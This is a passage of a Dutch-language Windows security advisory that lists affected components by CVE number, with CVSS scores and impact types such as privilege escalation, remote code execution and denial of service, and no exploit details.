\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| 